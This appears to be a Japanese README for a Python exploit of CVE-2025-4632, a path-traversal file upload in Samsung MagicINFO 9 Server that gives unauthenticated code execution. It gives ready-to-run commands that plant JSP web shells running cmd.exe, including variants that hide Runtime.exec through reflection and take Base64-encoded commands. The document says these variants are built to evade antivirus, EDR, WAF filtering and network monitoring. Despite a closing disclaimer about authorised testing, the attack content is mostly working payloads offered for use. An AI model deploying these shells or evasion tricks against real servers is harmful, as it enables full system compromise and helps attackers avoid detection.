
このリポジトリには、CVE-2025-4632(Samsung MagicINFO 9 Serverのバージョン21.1052未満における未認証のリモートコード実行(RCE)の脆弱性)のPython再現スクリプトが含まれています。
このリポジトリには、CVE-2025-4632 の Python 再現スクリプトが含まれています。これは Samsung MagicINFO 9 Server (バージョン 21.1052 未満) における未認証のリモートコード実行 (RCE) 脆弱性です。
この脆弱性は、SWUpdateFileUploader サーブレットにおけるパス名の不適切な制限に起因します。パストラバーサル (../../) を利用することで、認証されていない攻撃者が SYSTEM 権限で任意のファイルを書き込み、サーバーを完全に侵害する可能性があります。
s4e-io (ProjectDiscovery Nuclei コミュニティの http/cves/2025/CVE-2025-4632.yaml より)CVE-2025-4632 Nuclei テンプレートで定義されたロジックを直接プログラムで実装したものです。このスクリプトは、正当なデバイス更新リクエストを生成するプロセスを自動化します。fileName パラメータにディレクトリトラバーサルシーケンスを注入することで、意図されたアップロードディレクトリから脱出し、ファイルを Web ルート () に直接書き込むように悪用します。
/MagicInfo/このスクリプトは2つのステップを実行します:
/MagicInfo/servlet/SWUpdateFileUploader に送信します。/MagicInfo/<filename> でアップロードされたファイルにアクセスし、悪用が成功したことを確認します。python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target: ターゲットのベース URL (例: http://192.168.1.100:7001)。-f / --filename: 作成するファイルの名前 (例: shell.jsp)。-d / --data: ファイルに書き込む raw コンテンツ。以下のペイロードは評価活動中に正常にテストされました。これらはエンドポイントセキュリティコントロールを回避しつつ、影響を証明するように設計されています。
アンチウイルスや EDR をトリガーせずに JSP の実行を安全に確認するために使用します。
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
アクセス: http://<target>:7001/MagicInfo/poc.jsp
標準的な JSP Web シェルです。注意: これは最新の AV/EDR ソリューションに検出され隔離される可能性があり、確認時に 404 Not Found となる場合があります。
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
アクセス: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
標準シェルがブロックされた場合に使用します。このペイロードは Java リフレクションを使用して Runtime.getRuntime().exec のシグネチャを静的解析から隠します。
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
アクセス: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
複雑なコマンドには強く推奨: スペース、バックスラッシュ、特殊文字 (例: dir c:\) を含むコマンドを実行しようとして 400 Bad Request エラーが発生する場合、サーバーの厳格な URI 検証または WAF がリクエストをブロックしています。
この高度なペイロードは、コマンドが URL 内で Base64 エンコード されていることを期待します。サーバー側でデコードしてから実行するため、URL フィルタリングを完全にバイパスし、ネットワークモニターからコマンドを隠蔽します。
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
使用例:
コマンドをローカルで Base64 エンコードし (例: echo -n "dir c:\" | base64)、それを c パラメータに渡します。
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==免責事項: このスクリプトは教育目的および許可されたペネトレーションテストのみを目的としています。